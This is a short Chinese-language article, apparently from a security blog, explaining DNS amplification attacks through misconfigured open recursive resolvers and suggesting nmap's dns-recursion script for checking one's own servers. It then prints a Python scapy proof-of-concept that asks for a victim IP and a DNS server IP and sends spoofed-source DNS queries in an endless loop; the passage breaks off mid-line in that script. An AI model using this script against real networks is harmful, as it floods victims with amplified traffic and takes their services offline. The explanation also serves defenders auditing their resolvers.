尽管专家提醒过很多次,但仍然有非常多的DNS服务器允许递归解析到外网的设备,这一点可以被用来进行DNS放大攻击。
那么怎样攻击呢?通常,攻击者使用僵尸网络向受害者的IP地址发送一个伪造的DNS请求,错误设置的DNS应答会使数据包被发送到受害者的IP地址,从而导致分布式拒绝服务攻击(DDoS)。
怎样测试你的DNS设备是否允许来自外部的递归解析呢?你可以使用这个叫dns-recursion 的nmap脚本:
如果它没有被启用,你只会得到一个开放端口的指示:
这个攻击是怎么运作的?我们来看下面的示意图:
攻击的POC可以很容易地用如下的scapy脚本被执行,由攻击者决定是否执行它:
#!/usr/bin/python
from scapy.all import *
victimIP = raw_input("Please enter the IP address for the victim: ")
dnsIP = raw_input("Please enter the IP address for the misconfigured DNS: ")
while True:
send(IP(dst=dnsIP,src=victimIP)/UDP(dport=53)/DNS(rd